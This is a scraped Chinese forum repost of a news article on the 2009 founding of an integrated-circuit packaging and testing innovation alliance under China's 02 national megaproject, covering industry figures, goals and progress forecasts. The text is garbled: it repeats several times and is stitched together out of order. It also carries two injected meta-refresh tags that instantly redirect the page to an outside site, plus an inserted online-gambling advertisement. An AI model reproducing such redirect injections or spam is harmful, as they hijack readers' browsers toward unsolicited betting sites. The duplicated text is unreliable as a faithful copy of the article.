超级军网半导体设备重大专项技术联盟：无缝连接产业上下游
来源：百度文库 编辑：超级军网 时间：2024/04/27 21:02:05
<br /><br />去年年底，国家科技重大专项成立了第一个产业技术创新联盟——集成电路封测产业链技术创新联盟。这不仅是重大专项组织实施过程中的迫切需要，也是重大专项组织管理和体制机制上的创新。
■ 新闻缘起
2009年12月30日，国家科技重大专项《极大规模集成电路制造装备及成套工艺》（02专项）组织成立了“集成电路封测产业链技术创新联盟”，这是11个民口国家科技重大专项中成立的第一个产业技术创新联盟。
联盟以承担重大专项任务的核心企业——江苏长电科技股份有限公司、南通富士通微电子股份有限公司为依托单位，由25家企业、研究所和高校根据专项实施的需要发起筹建，以专项中的“关键封测设备及材料应用工程项目”、“封测工艺先导性及产业化项目”、“先进封装装备及材料项目”9个项目，约80余个课题为技术驱动平台和纽带，依托封测产业链各骨干单位的人才、技术和市场资源，力争形成我国集成电路封测产业关键技术与重大科技产品创新的强大推动力。
重大专项是为了实现国家目标，通过核心技术突破和资源集成，在一定时限内完成的重大战略产品、关键共性技术和重大工程。《国家中长期科学和技术发展规划纲要(2006—2020)》确定了大型飞机等16个重大专项。这些重大专项是我国到2020年科技发展的重中之重。
以重大专项的重点任务为纽带，把成员单位联合起来，从整体上提升产业竞争力
“‘集成电路封测产业链技术创新联盟’是重大专项实施中创新产学研结合组织模式的第一家，也是在重大专项中推动产业技术创新战略联盟构建的一个良好开端。将重大专项和产业联盟相结合，这不仅是重大专项组织实施过程中的迫切需要，也是重大专项组织管理和体制机制上的一种创新。”科技部重大专项办有关负责人告诉记者，在重大专项中成立产业技术创新联盟是贯彻落实党中央、国务院关于推进以企业为主体、市场为导向、产学研相结合技术创新体系建设战略要求的一项重要行动。
该负责人说，为了加快重大专项的进展，确保产业化目标的实现，引导产业发展，推动产业结构调整，根据重大专项实施过程中的需求，选择在《极大规模集成电路制造装备及成套工艺》（02专项）中成立了这个联盟。“联盟并不是形式上的‘拉郎配’，而是以具体的项目和重大专项已确立的重点任务为纽带，把联盟中的成员单位联合起来，从整体上提升产业的竞争能力，这对于提升我国重点产业技术创新能力，创新产学研结合的机制和模式，建设有中国特色国家创新体系具有十分重要的意义。”
——现状——
封测企业 前十名外资占八家
和IC（集成电路）设计、芯片业相比，中国的IC封测产业先行发展，曾一度占据整个集成电路产业的70%多，但随着设计、芯片业的快速发展，封测业比重逐年下降，据2008年行业协会统计，IC封测业销售收入为618.9亿元，占全行业1246.82亿元的49.6%，仍占半壁江山，但列入前十位的封测企业仅有长电科技（23.83亿元，第4位）、通富微电（11.89亿元，第8位），其余全为外商投资企业，这两个单位加起来的营业规模也仅是台湾封测巨头日月光（111.44亿元）的32%。
据记者从科技部了解到，目前，我国企业技术创新能力总体上还不强，产业规模不够大，产学研结合的体制机制尚未从根本上突破。科技力量大部分是集中在大学和科研机构，在产学研合作方面依托短期项目的合作多，战略层面合作少。产学研合作的形式比较松散、缺乏稳定的合作机制和持续有效的内在动力，这在一定程度上制约了我国产业自主创新能力的提升。
——破题——
探索机制 整合创新要素
2009年，在国务院的统一领导下，重大专项各项工作稳步推进，特别是国务院《关于发挥科技支撑作用促进经济平稳较快发展的意见》下发后，各专项根据应对国际金融危机的要求，结合十大产业振兴调整和规划实施的需要，调整并加快实施了一批产业需求迫切、研究基础好、有望快速实现产业化的创新项目。在保证专项顺利推进的同时，根据产业发展的需求，各专项在组织实施过程中对组织实施和管理的方式进行了有益探索。
创新要素持续有效的集成和整合是提升产业技术创新实力的重要保障。近几年，科技部通过不断摸索发现，建设以企业的发展需求和各方的共同利益为基础，以提升产业技术创新能力为目标，以具有法律约束力的契约为保障，进行优势互补、利益共享、风险共担的新型技术创新组织形式是促进企业提高自主创新能力的有效途径。
“用联盟的形式推进重大专项是我们的一个有益探索。”科技部重大专项办有关负责人表示，根据重大专项实施的需要建立产业技术创新联盟，将推动以企业为主体，市场为导向、产学研用相结合的实现，依托各联盟成员单位的人才、技术和市场资源，搭建信息交流平台，实现信息在联盟成员之间方便、快捷的互动，构建有效的合作方式和崭新的商业模式，突出联盟的整体优势。“02专项成立的这个联盟必将促进中国IC封装测试等关键技术的研发步伐，提升我国IC封装产业的自主创新能力，推进我国IC封装产业的快速发展。”
——目标——
强手联合 形成产业竞争力
积极推进联盟建设的02专项总体专家组组长叶甜春表示，把承担重大专项任务较多的核心企业、上下游企业以及科研院所、高等院校都组织起来是实施重大专项的有效方式，也是从整体上提升产业竞争力的有效途径。
他透露，在02专项已安排任务中，企业承担的项目占总概算的81.75%。“联盟的成立必将推进专项在瓶颈技术、核心技术与知识产权问题上取得突破，引导以企业为核心的技术资源整合、培育自生技术来源和自主知识产权体系并形成产业综合竞争能力。”
“联盟成立的目的就是为了更好地推进重大专项的组织实施。”联盟秘书长于燮康表示，联盟是由我国从事集成电路封测产业链的制造、科研、开发、教学等单位及其他相关的产学研企、事业单位根据专项实施的需要、在完全自愿的基础上组成。25家发起单位均在具有法律约束力的“协议书”上签了字，这将保证联盟的规范运作。
“需要指出的是，并不是所有想加入联盟的企业都能通过资格审查，没有一定实力的企业是不能成为联盟一员的，只有这样，才能从整体上打造出联盟的竞争优势和强大的创新能力。”于燮康说。
叶甜春表示，专项还在筹划和组织“集成电路制造产业链技术创新联盟”、“硅材料产业技术创新联盟”、“光刻机产业技术创新联盟”等，并计划于2010年陆续成立。
——亮点——
抱团攻关 突破核心技术
在于燮康看来，在重大专项中成立产业联盟有数不完的好处。“这对于企业抱团，做大做强产业规模、规避同质竞争，大力推动产业开展有效的技术创新活动，提升我国集成电路封测产业的自主创新能力都将发挥重要的作用。”
把创新资源进行集聚和整合，形成产业技术创新链。于燮康表示，联盟将为提升我国集成电路封测产业的核心竞争能力做出最大努力。通过联合开展集成电路封测产业链领域关键核心技术攻关，开发针对应用工程具有自主知识产权的重大创新产品，强化我国集成电路封测产业的核心竞争能力，促进产业结构的优化和升级。
通过联合成员单位，最大程度地发挥产学研合作的优势，联盟的成员单位可以共同承担国家科技专项包括国家02专项、重点科技支撑项目等重大科研课题，结合02专项攻关课题，以“十一五”立项的封装形式配套装备及材料为突破口，在设备、材料、测试仪器、引线框架等多个项目上开展攻关，强化了产业链上下游，供需双方紧密合作。
整合资源 建立公共技术平台
加快我国集成电路封测产业核心技术和关键产品的开发、应用及产业化。于燮康说，联盟将以市场为导向，协调联盟成员技术资源，组织有能力的单位在互惠合作基础上开放资源，建立专业性公共技术平台，提高成员单位对集成电路封测产业链科技创新的支撑服务能力。以骨干企业提出的若干关键技术或重大产品为载体，确定牵头企业并按照项目协作攻关的组织方式，吸收配套企业、研究院所及系统开发方案，组织创新攻关，形成持续稳定的产学研利益共同体，并明确成员之间分工及配套，加强集成电路封测产业链各环节之间的互动，不断完善产业链与创新链。
此外，联盟的建立还有利于产学研技术合作、成果转化和国内外科技交流等创新活动。于燮康表示，联盟将定期或不定期地开展联盟内成员单位的技术交流、联谊和研讨活动，保持联盟形成持续稳定的产学研合作关系，互惠互利，共同提高，使技术创新联盟成为企业自愿联合、产学研紧密合作、良性运行、有利于企业、产业发展的一个合作创新组织。
■ 连线企业
绘制路线图 制定时间表
本报记者 韩士德
“这是我们产业界的一件大事。”联盟依托单位江苏长电科技股份有限公司的总经理王新潮，也是联盟首届理事长。他认为，联盟成立对引导和支持创新要素向企业集聚，提升我国封测产业链技术创新能力，促进产学研各方围绕产业技术创新能力，保持持续稳定的合作关系，整合资源，建立技术平台，联合培养人才，实现创新成果产业化，具有十分重要的意义。
形成利益共同体
王新潮说，联盟是在科技部领导下创新体制机制，探索有效模式，促进企业、高等院校和科研院所在战略层面的有效结合，突破相关产业发展的技术瓶颈和体制约束的一种有效尝试。“我相信，通过产学研成员之间的优势互补和协同创新形成的一种长效稳定的利益共同体，一定有利于突破产业发展的关键技术，有利于构建共性技术平台，凝聚和培养创新人才，加速技术推广应用和产业化。”
谈到具体操作，王新潮表示，在构成要素和技术方面，要建立共同投入、联合开发、利益共享、风险共担的机制，突出资源整合和服务导向功能，通过成员单位之间的联合，发挥产学研合作优势，通过共同承担国家科技计划和专项任务、重点课题、支撑项目等重大科研课题的组织实施，加快我国封测产业核心技术和关键产品的开发、应用及产业化。
确定三项任务
王新潮向记者透露，目前，联盟已经确定了三项工作任务：一是制定中国集成电路封测业赶超世界集成电路封测业的技术路线图和时间表，从对国际封装技术路线图进行分析，对国际先进的同业进行研究，明确从哪些封装形式寻找突破口，既要有自主知识产权，又能在短时间内赶超国际水平。二是从封测企业未来产业化发展的角度，提出对封测装备和材料的需求，便于装备、材料业开发出满足市场需求、适销对路的产品。三是随着封测产业的快速发展，管理瓶颈已经日益突出。如何寻找与国际先进企业的差距，加大对企业管理的投入，使我们的管理水平赶上国际同业的先进水平。
■链接
联盟核心企业长电科技承担了“十一五”02专项与封测相关的9个项目中的7个，是唯一在上海主板上市的封测企业，也是唯一一家建有高密度集成电路封装国家工程实验室的企业。建有国家级企业技术中心，博士后科研工作站。
■ 延伸阅读
“极大规模集成电路制造装备及成套工艺”专项进展
据专项总体专家组组长叶甜春介绍，目前，国家科技重大专项“极大规模集成电路制造装备及成套工艺”完成立项项目53个，主要任务已全面启动，重点攻关全面展开，重点任务已取得阶段性进展和成果，属于进展最快的专项之一。
先进封装工艺项目
已进入批量试生产
集成电路封装方面，专项部署的先进封装工艺研发项目已经进入批量试生产阶段，并成功获得了国际国内高端客户连续增长的订单。由大型制造企业按照供应链模式组织的成套封装设备与材料应用工程项目进展良好，该项目有26个中小企业参加，预计2010年上半年将有30种设备和15种材料产品进入大生产线考核验证。随着重点专项的实施，到2011年，占我国集成电路产业产值近一半的封装产业将形成综合配套能力，技术水平接近国际先进水平，初步具备自主创新发展的能力。
大宗战略性产品
明年将形成综合制造能力
集成电路制造方面，专项部署的产品工艺开发项目已全面展开，并确定了部分大宗生产产品种类。预计到2011年，国内大型集成电路组织企业将在大宗战略性产品领域形成综合制造能力。从而使我国集成电路制造业的市场竞争力和自主创新能力得到较大提升，并将有力推动我国信息产业竞争力和行业综合效益的提高。技术水平差距从2—3代缩小到约1代。
集成电路装备
进入大生产线考核验证
高端集成电路制造装备方面，已有2种65纳米刻蚀机产品样机于2009年上半年进入大生产线进行考核验证。其他多种设备已进入整机组装调试阶段，将于 2010年陆续进入大生产线考核验证。预计到2011年，将有8—10种高端集成电路制造装备和关键部件产品开始进入市场销售，使我国集成电路装备这一战略性产业初步形成规模化发展态势。整体技术水平差距从4代缩小到2代。
总体而言，到2011年，我国集成电路制造产业将初步形成综合配套能力和自主创新能力，从而逐步改变以往因缺少自主知识产权和产业链支撑而处处受制于人的被动局面，开始形成自主发展的实力，掌握发展主动权。同时，将极大地带动我国自动化高端装备综合制造水平的提升。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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■ 新闻缘起
2009年12月30日，国家科技重大专项《极大规模集成电路制造装备及成套工艺》（02专项）组织成立了“集成电路封测产业链技术创新联盟”，这是11个民口国家科技重大专项中成立的第一个产业技术创新联盟。
联盟以承担重大专项任务的核心企业——江苏长电科技股份有限公司、南通富士通微电子股份有限公司为依托单位，由25家企业、研究所和高校根据专项实施的需要发起筹建，以专项中的“关键封测设备及材料应用工程项目”、“封测工艺先导性及产业化项目”、“先进封装装备及材料项目”9个项目，约80余个课题为技术驱动平台和纽带，依托封测产业链各骨干单位的人才、技术和市场资源，力争形成我国集成电路封测产业关键技术与重大科技产品创新的强大推动力。
重大专项是为了实现国家目标，通过核心技术突破和资源集成，在一定时限内完成的重大战略产品、关键共性技术和重大工程。《国家中长期科学和技术发展规划纲要(2006—2020)》确定了大型飞机等16个重大专项。这些重大专项是我国到2020年科技发展的重中之重。
以重大专项的重点任务为纽带，把成员单位联合起来，从整体上提升产业竞争力
“‘集成电路封测产业链技术创新联盟’是重大专项实施中创新产学研结合组织模式的第一家，也是在重大专项中推动产业技术创新战略联盟构建的一个良好开端。将重大专项和产业联盟相结合，这不仅是重大专项组织实施过程中的迫切需要，也是重大专项组织管理和体制机制上的一种创新。”科技部重大专项办有关负责人告诉记者，在重大专项中成立产业技术创新联盟是贯彻落实党中央、国务院关于推进以企业为主体、市场为导向、产学研相结合技术创新体系建设战略要求的一项重要行动。
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据记者从科技部了解到，目前，我国企业技术创新能力总体上还不强，产业规模不够大，产学研结合的体制机制尚未从根本上突破。科技力量大部分是集中在大学和科研机构，在产学研合作方面依托短期项目的合作多，战略层面合作少。产学研合作的形式比较松散、缺乏稳定的合作机制和持续有效的内在动力，这在一定程度上制约了我国产业自主创新能力的提升。
——破题——
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创新要素持续有效的集成和整合是提升产业技术创新实力的重要保障。近几年，科技部通过不断摸索发现，建设以企业的发展需求和各方的共同利益为基础，以提升产业技术创新能力为目标，以具有法律约束力的契约为保障，进行优势互补、利益共享、风险共担的新型技术创新组织形式是促进企业提高自主创新能力的有效途径。
“用联盟的形式推进重大专项是我们的一个有益探索。”科技部重大专项办有关负责人表示，根据重大专项实施的需要建立产业技术创新联盟，将推动以企业为主体，市场为导向、产学研用相结合的实现，依托各联盟成员单位的人才、技术和市场资源，搭建信息交流平台，实现信息在联盟成员之间方便、快捷的互动，构建有效的合作方式和崭新的商业模式，突出联盟的整体优势。“02专项成立的这个联盟必将促进中国IC封装测试等关键技术的研发步伐，提升我国IC封装产业的自主创新能力，推进我国IC封装产业的快速发展。”
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“联盟成立的目的就是为了更好地推进重大专项的组织实施。”联盟秘书长于燮康表示，联盟是由我国从事集成电路封测产业链的制造、科研、开发、教学等单位及其他相关的产学研企、事业单位根据专项实施的需要、在完全自愿的基础上组成。25家发起单位均在具有法律约束力的“协议书”上签了字，这将保证联盟的规范运作。
“需要指出的是，并不是所有想加入联盟的企业都能通过资格审查，没有一定实力的企业是不能成为联盟一员的，只有这样，才能从整体上打造出联盟的竞争优势和强大的创新能力。”于燮康说。
叶甜春表示，专项还在筹划和组织“集成电路制造产业链技术创新联盟”、“硅材料产业技术创新联盟”、“光刻机产业技术创新联盟”等，并计划于2010年陆续成立。
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在于燮康看来，在重大专项中成立产业联盟有数不完的好处。“这对于企业抱团，做大做强产业规模、规避同质竞争，大力推动产业开展有效的技术创新活动，提升我国集成电路封测产业的自主创新能力都将发挥重要的作用。”
把创新资源进行集聚和整合，形成产业技术创新链。于燮康表示，联盟将为提升我国集成电路封测产业的核心竞争能力做出最大努力。通过联合开展集成电路封测产业链领域关键核心技术攻关，开发针对应用工程具有自主知识产权的重大创新产品，强化我国集成电路封测产业的核心竞争能力，促进产业结构的优化和升级。
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形成利益共同体
王新潮说，联盟是在科技部领导下创新体制机制，探索有效模式，促进企业、高等院校和科研院所在战略层面的有效结合，突破相关产业发展的技术瓶颈和体制约束的一种有效尝试。“我相信，通过产学研成员之间的优势互补和协同创新形成的一种长效稳定的利益共同体，一定有利于突破产业发展的关键技术，有利于构建共性技术平台，凝聚和培养创新人才，加速技术推广应用和产业化。”
谈到具体操作，王新潮表示，在构成要素和技术方面，要建立共同投入、联合开发、利益共享、风险共担的机制，突出资源整合和服务导向功能，通过成员单位之间的联合，发挥产学研合作优势，通过共同承担国家科技计划和专项任务、重点课题、支撑项目等重大科研课题的组织实施，加快我国封测产业核心技术和关键产品的开发、应用及产业化。
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王新潮向记者透露，目前，联盟已经确定了三项工作任务：一是制定中国集成电路封测业赶超世界集成电路封测业的技术路线图和时间表，从对国际封装技术路线图进行分析，对国际先进的同业进行研究，明确从哪些封装形式寻找突破口，既要有自主知识产权，又能在短时间内赶超国际水平。二是从封测企业未来产业化发展的角度，提出对封测装备和材料的需求，便于装备、材料业开发出满足市场需求、适销对路的产品。三是随着封测产业的快速发展，管理瓶颈已经日益突出。如何寻找与国际先进企业的差距，加大对企业管理的投入，使我们的管理水平赶上国际同业的先进水平。
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大宗战略性产品
明年将形成综合制造能力
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集成电路装备
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重大专项是为了实现国家目标，通过核心技术突破和资源集成，在一定时限内完成的重大战略产品、关键共性技术和重大工程。《国家中长期科学和技术发展规划纲要(2006—2020)》确定了大型飞机等16个重大专项。这些重大专项是我国到2020年科技发展的重中之重。
以重大专项的重点任务为纽带，把成员单位联合起来，从整体上提升产业竞争力
“‘集成电路封测产业链技术创新联盟’是重大专项实施中创新产学研结合组织模式的第一家，也是在重大专项中推动产业技术创新战略联盟构建的一个良好开端。将重大专项和产业联盟相结合，这不仅是重大专项组织实施过程中的迫切需要，也是重大专项组织管理和体制机制上的一种创新。”科技部重大专项办有关负责人告诉记者，在重大专项中成立产业技术创新联盟是贯彻落实党中央、国务院关于推进以企业为主体、市场为导向、产学研相结合技术创新体系建设战略要求的一项重要行动。
该负责人说，为了加快重大专项的进展，确保产业化目标的实现，引导产业发展，推动产业结构调整，根据重大专项实施过程中的需求，选择在《极大规模集成电路制造装备及成套工艺》（02专项）中成立了这个联盟。“联盟并不是形式上的‘拉郎配’，而是以具体的项目和重大专项已确立的重点任务为纽带，把联盟中的成员单位联合起来，从整体上提升产业的竞争能力，这对于提升我国重点产业技术创新能力，创新产学研结合的机制和模式，建设有中国特色国家创新体系具有十分重要的意义。”
——现状——
封测企业 前十名外资占八家
和IC（集成电路）设计、芯片业相比，中国的IC封测产业先行发展，曾一度占据整个集成电路产业的70%多，但随着设计、芯片业的快速发展，封测业比重逐年下降，据2008年行业协会统计，IC封测业销售收入为618.9亿元，占全行业1246.82亿元的49.6%，仍占半壁江山，但列入前十位的封测企业仅有长电科技（23.83亿元，第4位）、通富微电（11.89亿元，第8位），其余全为外商投资企业，这两个单位加起来的营业规模也仅是台湾封测巨头日月光（111.44亿元）的32%。
据记者从科技部了解到，目前，我国企业技术创新能力总体上还不强，产业规模不够大，产学研结合的体制机制尚未从根本上突破。科技力量大部分是集中在大学和科研机构，在产学研合作方面依托短期项目的合作多，战略层面合作少。产学研合作的形式比较松散、缺乏稳定的合作机制和持续有效的内在动力，这在一定程度上制约了我国产业自主创新能力的提升。
——破题——
探索机制 整合创新要素
2009年，在国务院的统一领导下，重大专项各项工作稳步推进，特别是国务院《关于发挥科技支撑作用促进经济平稳较快发展的意见》下发后，各专项根据应对国际金融危机的要求，结合十大产业振兴调整和规划实施的需要，调整并加快实施了一批产业需求迫切、研究基础好、有望快速实现产业化的创新项目。在保证专项顺利推进的同时，根据产业发展的需求，各专项在组织实施过程中对组织实施和管理的方式进行了有益探索。
创新要素持续有效的集成和整合是提升产业技术创新实力的重要保障。近几年，科技部通过不断摸索发现，建设以企业的发展需求和各方的共同利益为基础，以提升产业技术创新能力为目标，以具有法律约束力的契约为保障，进行优势互补、利益共享、风险共担的新型技术创新组织形式是促进企业提高自主创新能力的有效途径。
“用联盟的形式推进重大专项是我们的一个有益探索。”科技部重大专项办有关负责人表示，根据重大专项实施的需要建立产业技术创新联盟，将推动以企业为主体，市场为导向、产学研用相结合的实现，依托各联盟成员单位的人才、技术和市场资源，搭建信息交流平台，实现信息在联盟成员之间方便、快捷的互动，构建有效的合作方式和崭新的商业模式，突出联盟的整体优势。“02专项成立的这个联盟必将促进中国IC封装测试等关键技术的研发步伐，提升我国IC封装产业的自主创新能力，推进我国IC封装产业的快速发展。”
——目标——
强手联合 形成产业竞争力
积极推进联盟建设的02专项总体专家组组长叶甜春表示，把承担重大专项任务较多的核心企业、上下游企业以及科研院所、高等院校都组织起来是实施重大专项的有效方式，也是从整体上提升产业竞争力的有效途径。
他透露，在02专项已安排任务中，企业承担的项目占总概算的81.75%。“联盟的成立必将推进专项在瓶颈技术、核心技术与知识产权问题上取得突破，引导以企业为核心的技术资源整合、培育自生技术来源和自主知识产权体系并形成产业综合竞争能力。”
“联盟成立的目的就是为了更好地推进重大专项的组织实施。”联盟秘书长于燮康表示，联盟是由我国从事集成电路封测产业链的制造、科研、开发、教学等单位及其他相关的产学研企、事业单位根据专项实施的需要、在完全自愿的基础上组成。25家发起单位均在具有法律约束力的“协议书”上签了字，这将保证联盟的规范运作。
“需要指出的是，并不是所有想加入联盟的企业都能通过资格审查，没有一定实力的企业是不能成为联盟一员的，只有这样，才能从整体上打造出联盟的竞争优势和强大的创新能力。”于燮康说。
叶甜春表示，专项还在筹划和组织“集成电路制造产业链技术创新联盟”、“硅材料产业技术创新联盟”、“光刻机产业技术创新联盟”等，并计划于2010年陆续成立。
——亮点——
抱团攻关 突破核心技术
在于燮康看来，在重大专项中成立产业联盟有数不完的好处。“这对于企业抱团，做大做强产业规模、规避同质竞争，大力推动产业开展有效的技术创新活动，提升我国集成电路封测产业的自主创新能力都将发挥重要的作用。”
把创新资源进行集聚和整合，形成产业技术创新链。于燮康表示，联盟将为提升我国集成电路封测产业的核心竞争能力做出最大努力。通过联合开展集成电路封测产业链领域关键核心技术攻关，开发针对应用工程具有自主知识产权的重大创新产品，强化我国集成电路封测产业的核心竞争能力，促进产业结构的优化和升级。
通过联合成员单位，最大程度地发挥产学研合作的优势，联盟的成员单位可以共同承担国家科技专项包括国家02专项、重点科技支撑项目等重大科研课题，结合02专项攻关课题，以“十一五”立项的封装形式配套装备及材料为突破口，在设备、材料、测试仪器、引线框架等多个项目上开展攻关，强化了产业链上下游，供需双方紧密合作。
整合资源 建立公共技术平台
加快我国集成电路封测产业核心技术和关键产品的开发、应用及产业化。于燮康说，联盟将以市场为导向，协调联盟成员技术资源，组织有能力的单位在互惠合作基础上开放资源，建立专业性公共技术平台，提高成员单位对集成电路封测产业链科技创新的支撑服务能力。以骨干企业提出的若干关键技术或重大产品为载体，确定牵头企业并按照项目协作攻关的组织方式，吸收配套企业、研究院所及系统开发方案，组织创新攻关，形成持续稳定的产学研利益共同体，并明确成员之间分工及配套，加强集成电路封测产业链各环节之间的互动，不断完善产业链与创新链。
此外，联盟的建立还有利于产学研技术合作、成果转化和国内外科技交流等创新活动。于燮康表示，联盟将定期或不定期地开展联盟内成员单位的技术交流、联谊和研讨活动，保持联盟形成持续稳定的产学研合作关系，互惠互利，共同提高，使技术创新联盟成为企业自愿联合、产学研紧密合作、良性运行、有利于企业、产业发展的一个合作创新组织。
■ 连线企业
绘制路线图 制定时间表
本报记者 韩士德
“这是我们产业界的一件大事。”联盟依托单位江苏长电科技股份有限公司的总经理王新潮，也是联盟首届理事长。他认为，联盟成立对引导和支持创新要素向企业集聚，提升我国封测产业链技术创新能力，促进产学研各方围绕产业技术创新能力，保持持续稳定的合作关系，整合资源，建立技术平台，联合培养人才，实现创新成果产业化，具有十分重要的意义。
形成利益共同体
王新潮说，联盟是在科技部领导下创新体制机制，探索有效模式，促进企业、高等院校和科研院所在战略层面的有效结合，突破相关产业发展的技术瓶颈和体制约束的一种有效尝试。“我相信，通过产学研成员之间的优势互补和协同创新形成的一种长效稳定的利益共同体，一定有利于突破产业发展的关键技术，有利于构建共性技术平台，凝聚和培养创新人才，加速技术推广应用和产业化。”
谈到具体操作，王新潮表示，在构成要素和技术方面，要建立共同投入、联合开发、利益共享、风险共担的机制，突出资源整合和服务导向功能，通过成员单位之间的联合，发挥产学研合作优势，通过共同承担国家科技计划和专项任务、重点课题、支撑项目等重大科研课题的组织实施，加快我国封测产业核心技术和关键产品的开发、应用及产业化。
确定三项任务
王新潮向记者透露，目前，联盟已经确定了三项工作任务：一是制定中国集成电路封测业赶超世界集成电路封测业的技术路线图和时间表，从对国际封装技术路线图进行分析，对国际先进的同业进行研究，明确从哪些封装形式寻找突破口，既要有自主知识产权，又能在短时间内赶超国际水平。二是从封测企业未来产业化发展的角度，提出对封测装备和材料的需求，便于装备、材料业开发出满足市场需求、适销对路的产品。三是随着封测产业的快速发展，管理瓶颈已经日益突出。如何寻找与国际先进企业的差距，加大对企业管理的投入，使我们的管理水平赶上国际同业的先进水平。
■链接
联盟核心企业长电科技承担了“十一五”02专项与封测相关的9个项目中的7个，是唯一在上海主板上市的封测企业，也是唯一一家建有高密度集成电路封装国家工程实验室的企业。建有国家级企业技术中心，博士后科研工作站。
■ 延伸阅读
“极大规模集成电路制造装备及成套工艺”专项进展
据专项总体专家组组长叶甜春介绍，目前，国家科技重大专项“极大规模集成电路制造装备及成套工艺”完成立项项目53个，主要任务已全面启动，重点攻关全面展开，重点任务已取得阶段性进展和成果，属于进展最快的专项之一。
先进封装工艺项目
已进入批量试生产
集成电路封装方面，专项部署的先进封装工艺研发项目已经进入批量试生产阶段，并成功获得了国际国内高端客户连续增长的订单。由大型制造企业按照供应链模式组织的成套封装设备与材料应用工程项目进展良好，该项目有26个中小企业参加，预计2010年上半年将有30种设备和15种材料产品进入大生产线考核验证。随着重点专项的实施，到2011年，占我国集成电路产业产值近一半的封装产业将形成综合配套能力，技术水平接近国际先进水平，初步具备自主创新发展的能力。
大宗战略性产品
明年将形成综合制造能力
集成电路制造方面，专项部署的产品工艺开发项目已全面展开，并确定了部分大宗生产产品种类。预计到2011年，国内大型集成电路组织企业将在大宗战略性产品领域形成综合制造能力。从而使我国集成电路制造业的市场竞争力和自主创新能力得到较大提升，并将有力推动我国信息产业竞争力和行业综合效益的提高。技术水平差距从2—3代缩小到约1代。
集成电路装备
进入大生产线考核验证
高端集成电路制造装备方面，已有2种65纳米刻蚀机产品样机于2009年上半年进入大生产线进行考核验证。其他多种设备已进入整机组装调试阶段，将于 2010年陆续进入大生产线考核验证。预计到2011年，将有8—10种高端集成电路制造装备和关键部件产品开始进入市场销售，使我国集成电路装备这一战略性产业初步形成规模化发展态势。整体技术水平差距从4代缩小到2代。
总体而言，到2011年，我国集成电路制造产业将初步形成综合配套能力和自主创新能力，从而逐步改变以往因缺少自主知识产权和产业链支撑而处处受制于人的被动局面，开始形成自主发展的实力，掌握发展主动权。同时，将极大地带动我国自动化高端装备综合制造水平的提升。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />去年年底，国家科技重大专项成立了第一个产业技术创新联盟——集成电路封测产业链技术创新联盟。这不仅是重大专项组织实施过程中的迫切需要，也是重大专项组织管理和体制机制上的创新。
■ 新闻缘起
2009年12月30日，国家科技重大专项《极大规模集成电路制造装备及成套工艺》（02专项）组织成立了“集成电路封测产业链技术创新联盟”，这是11个民口国家科技重大专项中成立的第一个产业技术创新联盟。
联盟以承担重大专项任务的核心企业——江苏长电科技股份有限公司、南通富士通微电子股份有限公司为依托单位，由25家企业、研究所和高校根据专项实施的需要发起筹建，以专项中的“关键封测设备及材料应用工程项目”、“封测工艺先导性及产业化项目”、“先进封装装备及材料项目”9个项目，约80余个课题为技术驱动平台和纽带，依托封测产业链各骨干单位的人才、技术和市场资源，力争形成我国集成电路封测产业关键技术与重大科技产品创新的强大推动力。
重大专项是为了实现国家目标，通过核心技术突破和资源集成，在一定时限内完成的重大战略产品、关键共性技术和重大工程。《国家中长期科学和技术发展规划纲要(2006—2020)》确定了大型飞机等16个重大专项。这些重大专项是我国到2020年科技发展的重中之重。
以重大专项的重点任务为纽带，把成员单位联合起来，从整体上提升产业竞争力
“‘集成电路封测产业链技术创新联盟’是重大专项实施中创新产学研结合组织模式的第一家，也是在重大专项中推动产业技术创新战略联盟构建的一个良好开端。将重大专项和产业联盟相结合，这不仅是重大专项组织实施过程中的迫切需要，也是重大专项组织管理和体制机制上的一种创新。”科技部重大专项办有关负责人告诉记者，在重大专项中成立产业技术创新联盟是贯彻落实党中央、国务院关于推进以企业为主体、市场为导向、产学研相结合技术创新体系建设战略要求的一项重要行动。
该负责人说，为了加快重大专项的进展，确保产业化目标的实现，引导产业发展，推动产业结构调整，根据重大专项实施过程中的需求，选择在《极大规模集成电路制造装备及成套工艺》（02专项）中成立了这个联盟。“联盟并不是形式上的‘拉郎配’，而是以具体的项目和重大专项已确立的重点任务为纽带，把联盟中的成员单位联合起来，从整体上提升产业的竞争能力，这对于提升我国重点产业技术创新能力，创新产学研结合的机制和模式，建设有中国特色国家创新体系具有十分重要的意义。”
——现状——
封测企业 前十名外资占八家
和IC（集成电路）设计、芯片业相比，中国的IC封测产业先行发展，曾一度占据整个集成电路产业的70%多，但随着设计、芯片业的快速发展，封测业比重逐年下降，据2008年行业协会统计，IC封测业销售收入为618.9亿元，占全行业1246.82亿元的49.6%，仍占半壁江山，但列入前十位的封测企业仅有长电科技（23.83亿元，第4位）、通富微电（11.89亿元，第8位），其余全为外商投资企业，这两个单位加起来的营业规模也仅是台湾封测巨头日月光（111.44亿元）的32%。
据记者从科技部了解到，目前，我国企业技术创新能力总体上还不强，产业规模不够大，产学研结合的体制机制尚未从根本上突破。科技力量大部分是集中在大学和科研机构，在产学研合作方面依托短期项目的合作多，战略层面合作少。产学研合作的形式比较松散、缺乏稳定的合作机制和持续有效的内在动力，这在一定程度上制约了我国产业自主创新能力的提升。
——破题——
探索机制 整合创新要素
2009年，在国务院的统一领导下，重大专项各项工作稳步推进，特别是国务院《关于发挥科技支撑作用促进经济平稳较快发展的意见》下发后，各专项根据应对国际金融危机的要求，结合十大产业振兴调整和规划实施的需要，调整并加快实施了一批产业需求迫切、研究基础好、有望快速实现产业化的创新项目。在保证专项顺利推进的同时，根据产业发展的需求，各专项在组织实施过程中对组织实施和管理的方式进行了有益探索。
创新要素持续有效的集成和整合是提升产业技术创新实力的重要保障。近几年，科技部通过不断摸索发现，建设以企业的发展需求和各方的共同利益为基础，以提升产业技术创新能力为目标，以具有法律约束力的契约为保障，进行优势互补、利益共享、风险共担的新型技术创新组织形式是促进企业提高自主创新能力的有效途径。
“用联盟的形式推进重大专项是我们的一个有益探索。”科技部重大专项办有关负责人表示，根据重大专项实施的需要建立产业技术创新联盟，将推动以企业为主体，市场为导向、产学研用相结合的实现，依托各联盟成员单位的人才、技术和市场资源，搭建信息交流平台，实现信息在联盟成员之间方便、快捷的互动，构建有效的合作方式和崭新的商业模式，突出联盟的整体优势。“02专项成立的这个联盟必将促进中国IC封装测试等关键技术的研发步伐，提升我国IC封装产业的自主创新能力，推进我国IC封装产业的快速发展。”
——目标——
